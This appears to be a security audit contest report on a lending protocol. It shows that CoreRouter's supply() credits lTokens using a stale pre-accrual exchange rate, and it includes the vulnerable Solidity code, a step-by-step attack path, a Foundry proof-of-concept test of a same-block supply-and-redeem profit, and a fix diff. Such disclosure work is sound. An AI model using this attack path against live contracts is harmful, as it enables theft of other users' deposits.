Skinny Charcoal Chinchilla

High

# Outdated exchange rate cause CoreRouter to overmint to suppliers, allowing theft from other suppliers.

### Summary

When users supply token via `CoreRouter.sol::supply()`, they get `(_amount * 1e18) / exchangeRateBefore` of lTokens added to their balance. The `exchangeRateBefore` is fetched from the `Ltoken.sol::exchangeRateStored()`, which represent the increase in value of the Ltoken due to interest from borrows. The problem is, `exchangeRateBefore` is as the name suggests the exchange rate of the Ltoken to the underlying token before the supply happen (i.e outdated). In reality, the minted amount is calculated and given to the CoreRouter using the current (i.e up-to-date) exchange rate in `Ltoken.sol::mintFresh()`. 
As interest accrues, the exchange rate increases. This means the router over mint Ltokens to the user when in reality it receives less from `Ltoken.sol::mintFresh()`. This allows malicious users from steal from other users by simplying redeeming the amount minted to them, as they got more than they should have.

### Root Cause

In [CoreRouter.sol::supply()](https://github.com/sherlock-audit/2025-05-lend-audit-contest/blob/713372a1ccd8090ead836ca6b1acf92e97de4679/Lend-V2/src/LayerZero/CoreRouter.sol#L61) the amount to mint to the supplier is calculated as: 

```solidity 
    function supply(uint256 _amount, address _token) external {
        address _lToken = lendStorage.underlyingTolToken(_token);
        require(_lToken != address(0), "Unsupported Token");
        require(_amount > 0, "Zero supply amount");
        IERC20(_token).safeTransferFrom(msg.sender, address(this), _amount);
        _approveToken(_token, _lToken, _amount);

        uint256 exchangeRateBefore = LTokenInterface(_lToken).exchangeRateStored();
        require(LErc20Interface(_lToken).mint(_amount) == 0, "Mint failed"); 
        // Calculate actual minted tokens using exchangeRate from before mint
@>      uint256 mintTokens = (_amount * 1e18) / exchangeRateBefore; 

        lendStorage.addUserSuppliedAsset(msg.sender, _lToken); 
        lendStorage.distributeSupplierLend(_lToken, msg.sender); 

        lendStorage.updateTotalInvestment(
            msg.sender, _lToken, lendStorage.totalInvestment(msg.sender, _lToken) + mintTokens
        );
        emit SupplySuccess(msg.sender, _lToken, _amount, mintTokens);
    }
```

The `Root Cause` is that protcol explicitily uses the exchange rate before minting, which is wrong. 

If we look at the [LErc20.sol::mint()](https://github.com/sherlock-audit/2025-05-lend-audit-contest/blob/713372a1ccd8090ead836ca6b1acf92e97de4679/Lend-V2/src/LErc20.sol#L53), which calls [Ltoken.sol::mintInternal()](https://github.com/sherlock-audit/2025-05-lend-audit-contest/blob/713372a1ccd8090ead836ca6b1acf92e97de4679/Lend-V2/src/LToken.sol#L384) which calls `accrueInterst()` first, then finally in [Ltoken.sol::mintFresh()](https://github.com/sherlock-audit/2025-05-lend-audit-contest/blob/713372a1ccd8090ead836ca6b1acf92e97de4679/Lend-V2/src/LToken.sol#L396):

```solidity 

    function mint(uint256 mintAmount) external override returns (uint256) {
        mintInternal(mintAmount);
        return NO_ERROR;
    }

    function mintInternal(uint256 mintAmount) internal nonReentrant {
@>      accrueInterest();
        mintFresh(msg.sender, mintAmount);
    }

    function mintFresh(address minter, uint256 mintAmount) internal {
        uint256 allowed = lendtroller.mintAllowed(address(this), minter, mintAmount);
        if (allowed != 0) {
            revert MintLendtrollerRejection(allowed);
        }

        if (accrualBlockNumber != getBlockNumber()) {
            revert MintFreshnessCheck();
        }

@>      Exp memory exchangeRate = Exp({mantissa: exchangeRateStoredInternal()});

        uint256 actualMintAmount = doTransferIn(minter, mintAmount);
        uint256 mintTokens = div_(actualMintAmount, exchangeRate);
        totalSupply = totalSupply + mintTokens;
        accountTokens[minter] = accountTokens[minter] + mintTokens;

        emit Mint(minter, actualMintAmount, mintTokens);
        emit Transfer(address(this), minter, mintTokens);
    }
```

In `mintInternal()`, [accrueInterest()](https://github.com/sherlock-audit/2025-05-lend-audit-contest/blob/713372a1ccd8090ead836ca6b1acf92e97de4679/Lend-V2/src/LToken.sol#L324) is called, which basically adds the accrued interest to `totalBorrow`, making it larger. [Exchange rate](https://github.com/sherlock-audit/2025-05-lend-audit-contest/blob/713372a1ccd8090ead836ca6b1acf92e97de4679/Lend-V2/src/LToken.sol#L305) is basically (totalBorrow / totalSupply) so accruing interest increases the exchange rate. This increased (up-to-date) exchange rate is used to calculate the `actualMintAmount` which is added to the `totalSupply` and `accountTokens`. 

```solidity 
    function accrueInterest() public virtual override returns (uint256) {
        uint256 currentBlockNumber = getBlockNumber();
        uint256 accrualBlockNumberPrior = accrualBlockNumber;
        if (accrualBlockNumberPrior == currentBlockNumber) {
            return NO_ERROR;
        }
        uint256 cashPrior = getCashPrior();
        uint256 borrowsPrior = totalBorrows;
        uint256 reservesPrior = totalReserves;
        uint256 borrowIndexPrior = borrowIndex;
        uint256 borrowRateMantissa = interestRateModel.getBorrowRate(cashPrior, borrowsPrior, reservesPrior);
        require(borrowRateMantissa <= borrowRateMaxMantissa, "borrow rate is absurdly high");
        uint256 blockDelta = currentBlockNumber - accrualBlockNumberPrior;
        Exp memory simpleInterestFactor = mul_(Exp({mantissa: borrowRateMantissa}), blockDelta);
        uint256 interestAccumulated = mul_ScalarTruncate(simpleInterestFactor, borrowsPrior);
@>      uint256 totalBorrowsNew = interestAccumulated + borrowsPrior;
        uint256 totalReservesNew =
            mul_ScalarTruncateAddUInt(Exp({mantissa: reserveFactorMantissa}), interestAccumulated, reservesPrior);
        uint256 borrowIndexNew = mul_ScalarTruncateAddUInt(simpleInterestFactor, borrowIndexPrior, borrowIndexPrior);

        accrualBlockNumber = currentBlockNumber;
        borrowIndex = borrowIndexNew;
@>      totalBorrows = totalBorrowsNew;
        totalReserves = totalReservesNew;

        emit AccrueInterest(cashPrior, interestAccumulated, borrowIndexNew, totalBorrowsNew);
        return NO_ERROR;
    }


    function exchangeRateStoredInternal() internal view virtual returns (uint256) {
        uint256 _totalSupply = totalSupply;
        if (_totalSupply == 0) {
@>          return initialExchangeRateMantissa;
        } else {
            uint256 totalCash = getCashPrior(); //token.balanceOf(address(this))
            uint256 cashPlusBorrowsMinusReserves = totalCash + totalBorrows - totalReserves;
@>          uint256 exchangeRate = cashPlusBorrowsMinusReserves * expScale / _totalSupply;
            return exchangeRate;
        }
    }

```


So the amount minted to the supplier is more than what the Ltoken actually minted to the CoreRouter and totalSupply, if he redeem right after supplying on the same block, he would get more than he supplied at the cost of other users. 

### Internal Pre-conditions

none

### External Pre-conditions

1. There must be other suppliers and borrowers 
2. Interest must be accrued. The more interest accrued, the more the attacker can steal at once. 
3. The attacker must supply and redeem. 

### Attack Path


NOTE : Assuming 1:1 collateral to borrow ratio and a interest rate of 10% per year. 

1. Alice supply 1e18 amount of WETH, she is the first supplier, the initial exchange rate is 2e26 ( from [deploy script](https://github.com/sherlock-audit/2025-05-lend-audit-contest/blob/713372a1ccd8090ead836ca6b1acf92e97de4679/Lend-V2/script/Deploy.s.sol#L107)). She is minted 5e9 Ltokens, `totalSupply` is 5e9.
2. Bob supply 1e18 WETH he is the second supplier, no interest accrued yet so he also get 5e9 tokens. `totalSupply` is 10e9.
3. Bob borrows 1e18 WETH, with an interest rate of 10% per year. ~0.02739% per day.
4. After one day, the attacker deposits 100e18 WETH. The outdated exchange rate before is used (2e26), he is minted 5e11 Ltokens.
5. The accrued interest is accounted in the `mintFresh()`, making the up-to-date exchangeRate 2.002739e26 ([2.0279e18 * 1e18 / 5e11](https://github.com/sherlock-audit/2025-05-lend-audit-contest/blob/713372a1ccd8090ead836ca6b1acf92e97de4679/Lend-V2/src/LToken.sol#L305)). 
6. The actual amount added to `accountTokens[minter]` and `totalSupply` is 4.99e11. Makin it now 5.09e11.
7. In the same block, The attacker redeems 5e11 tokens that he got, at the up-to-date exchange rate, which is now 2.004477e26 (102.027e18 * 1e18 / 5.09e11).
8. As a result, the attacker got 100.2238e18 WETH, 0.2238 WETH from Bob and Alice.

### Impact

Malicious suppliers can steal from other users.

### PoC

Paste this test into src/test/TestBorrowing.t.sol. This is a test showing the attacker can supply, and get more after redeeming in the same block, at the cost of other users.

```solidity 
    function test_supplyIndex() public {
        uint256 amount = 1e18;
        vm.startPrank(deployer);
        (address token, address lToken) = _supply(amount);
        uint256 maxBorrow = (amount * 70) / 100;
        uint256 initialTokenBalance = IERC20(token).balanceOf(deployer);
        coreRouter.borrow(maxBorrow, token);
        assertEq(
            IERC20(token).balanceOf(deployer) - initialTokenBalance,
            maxBorrow,
            "Should receive correct amount of borrowed tokens"
        );
        vm.stopPrank(); 
        
        vm.roll(7200); //skip 1 day
        address attacker = makeAddr("attacker");
        ERC20Mock(token).mint(attacker, 100e18);
        vm.startPrank(attacker);
        IERC20(token).approve(address(coreRouter), 100e18);
        coreRouter.supply(100e18, token);
        coreRouter.redeem(5e11, payable(lToken));
        assertGt(IERC20(token).balanceOf(attacker), 100e18);
    }
```

### Mitigation

Calculate the mint amount using the up-to-date exchange rate. 

```diff
    function supply(uint256 _amount, address _token) external {
        address _lToken = lendStorage.underlyingTolToken(_token);
        require(_lToken != address(0), "Unsupported Token");
        require(_amount > 0, "Zero supply amount");
        IERC20(_token).safeTransferFrom(msg.sender, address(this), _amount);
        _approveToken(_token, _lToken, _amount);

-       uint256 exchangeRateBefore = LTokenInterface(_lToken).exchangeRateStored();

        require(LErc20Interface(_lToken).mint(_amount) == 0, "Mint failed"); 

+       uint256 exchangeRateBefore = LTokenInterface(_lToken).exchangeRateStored();

        uint256 mintTokens = (_amount * 1e18) / exchangeRateBefore; 
        lendStorage.addUserSuppliedAsset(msg.sender, _lToken); 
        lendStorage.distributeSupplierLend(_lToken, msg.sender); 
        lendStorage.updateTotalInvestment(
            msg.sender, _lToken, lendStorage.totalInvestment(msg.sender, _lToken) + mintTokens
        );
        emit SupplySuccess(msg.sender, _lToken, _amount, mintTokens);
    }
```
